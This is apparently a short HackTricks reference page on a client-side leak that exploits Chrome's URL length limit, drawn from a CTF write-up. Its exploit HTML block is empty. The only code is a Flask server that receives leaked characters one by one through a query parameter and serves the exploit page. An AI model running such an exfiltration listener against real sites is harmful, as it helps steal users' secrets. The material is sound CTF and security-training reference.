# URL Max Length - Client Side
{% hint style="success" %}
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{% endhint %}
Code from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
```
Server side:
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}